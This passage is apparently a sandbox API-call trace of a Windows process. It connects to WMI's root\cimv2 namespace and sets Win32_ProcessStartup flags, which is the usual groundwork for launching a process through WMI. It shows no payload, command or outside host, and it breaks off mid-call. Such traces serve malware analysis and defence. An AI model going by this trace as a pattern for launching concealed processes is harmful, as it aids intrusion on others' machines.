IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0131.222] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0131.222] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.223] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bbbe900) returned 0x0 [0131.223] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe900, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0131.223] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbbe900, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bbbe920) returned 0x0 [0131.223] WbemLocator:IUnknown:Release (This=0x1bbbe900) returned 0x0 [0131.223] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe920, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bbbe920) returned 0x0 [0131.223] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe920, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0131.224] WbemLocator:IUnknown:AddRef (This=0x1bbbe920) returned 0x3 [0131.224] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe920, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0131.224] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe920, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0131.224] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe920, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0131.224] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0131.224] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0131.224] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe920, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0131.224] WbemLocator:IUnknown:Release (This=0x1bbbe920) returned 0x2 [0131.224] WbemLocator:IUnknown:Release (This=0x1bbbe920) returned 0x1 [0131.224] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0131.224] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0131.224] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe920, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bbbe920) returned 0x0 [0131.224] WbemLocator:IUnknown:AddRef (This=0x1bbbe920) returned 0x3 [0131.224] WbemLocator:IUnknown:Release (This=0x1bbbe920) returned 0x2 [0131.224] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf2e0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0131.224] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf2e0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0131.225] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf2e0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.225] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bbbe940) returned 0x0 [0131.225] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbbe940, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bbaba40) returned 0x0 [0131.540] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaba40, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1aa030a0) returned 0x0 [0131.540] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa030a0, pProxy=0x1bbaba40, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0131.540] WbemLocator:IUnknown:Release (This=0x1aa030a0) returned 0x1 [0131.540] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaba40, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1aa030e0) returned 0x0 [0131.540] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaba40, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1aa030a0) returned 0x0 [0131.540] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa030a0, pProxy=0x1bbaba40, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0131.540] WbemLocator:IUnknown:Release (This=0x1aa030a0) returned 0x2 [0131.540] WbemLocator:IUnknown:Release (This=0x1aa030e0) returned 0x1 [0131.541] CoTaskMemFree (pv=0x1bbc5f60) [0131.541] WbemLocator:IUnknown:AddRef (This=0x1bbaba40) returned 0x2 [0131.541] WbemLocator:IUnknown:Release (This=0x1bbbe940) returned 0x0 [0131.541] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0131.541] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0131.541] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaba40, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1aa030b0) returned 0x0 [0131.541] WbemLocator:IRpcOptions:Query (in: This=0x1aa030b0, pPrx=0x1bbbe9a0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0131.542] WbemLocator:IUnknown:Release (This=0x1aa030b0) returned 0x2 [0131.542] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0131.542] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0131.542] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaba40, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bbaba40) returned 0x0 [0131.542] WbemLocator:IUnknown:Release (This=0x1bbaba40) returned 0x2 [0131.542] SysStringLen (param_1=0x0) returned 0x0 [0131.542] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0131.542] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0131.542] IWbemServices:GetObject (in: This=0x1bbaba40, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bbd32c0, ppCallResult=0x0) returned 0x0 [0131.544] IWbemClassObject:Get (in: This=0x1bbd32c0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0131.544] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0131.545] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0131.545] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0131.545] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0131.545] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0131.545] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.547] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bbbe940) returned 0x0 [0131.548] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe940, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0131.548] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe940, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bbbf3a0) returned 0x0 [0131.548] WbemDefPath:IUnknown:Release (This=0x1bbbe940) returned 0x0 [0131.548] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf3a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bbbf3a0) returned 0x0 [0131.548] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf3a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0131.548] WbemDefPath:IUnknown:AddRef (This=0x1bbbf3a0) returned 0x3 [0131.548] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf3a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0131.548] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf3a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0131.548] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf3a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bbbe960) returned 0x0 [0131.548] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbe960, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.548] WbemDefPath:IUnknown:Release (This=0x1bbbe960) returned 0x3 [0131.548] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0131.549] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0131.549] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf3a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0131.549] WbemDefPath:IUnknown:Release (This=0x1bbbf3a0) returned 0x2 [0131.549] WbemDefPath:IUnknown:Release (This=0x1bbbf3a0) returned 0x1 [0131.549] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0131.549] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0131.549] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf3a0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bbbf3a0) returned 0x0 [0131.549] WbemDefPath:IUnknown:AddRef (This=0x1bbbf3a0) returned 0x3 [0131.549] WbemDefPath:IUnknown:Release (This=0x1bbbf3a0) returned 0x2 [0131.549] WbemDefPath:IWbemPath:SetText (This=0x1bbbf3a0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0131.549] IWbemClassObject:Get (in: This=0x1bbd32c0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e8530*=0, plFlavor=0x27e8534*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e8530*=19, plFlavor=0x27e8534*=0) returned 0x0 [0131.549] IWbemClassObject:Get (in: This=0x1bbd32c0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e8530*=19, plFlavor=0x27e8534*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e8530*=19, plFlavor=0x27e8534*=0) returned 0x0 [0131.549] IWbemClassObject:Put (This=0x1bbd32c0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0131.549] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf160, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0131.550] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0131.550] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0131.550] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.550] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0131.550] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0131.550] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0131.550] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.552] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bbbeb00) returned 0x0 [0131.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbeb00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0131.552] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbeb00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bbbf460) returned 0x0 [0131.552] WbemDefPath:IUnknown:Release (This=0x1bbbeb00) returned 0x0 [0131.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf460, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bbbf460) returned 0x0 [0131.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf460, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0131.553] WbemDefPath:IUnknown:AddRef (This=0x1bbbf460) returned 0x3 [0131.553] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf460, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0131.553] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf460, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0131.553] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf460, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bbbeb40) returned 0x0 [0131.553] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbeb40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.553] WbemDefPath:IUnknown:Release (This=0x1bbbeb40) returned 0x3 [0131.553] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0131.553] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0131.553] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf460, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0131.553] WbemDefPath:IUnknown:Release (This=0x1bbbf460) returned 0x2 [0131.553] WbemDefPath:IUnknown:Release (This=0x1bbbf460) returned 0x1 [0131.553] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0131.553] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0131.553] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf460, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bbbf460) returned 0x0 [0131.553] WbemDefPath:IUnknown:AddRef (This=0x1bbbf460) returned 0x3 [0131.553] WbemDefPath:IUnknown:Release (This=0x1bbbf460) returned 0x2 [0131.553] WbemDefPath:IWbemPath:SetText (This=0x1bbbf460, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0131.553] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf460, puCount=0x1bb7e510 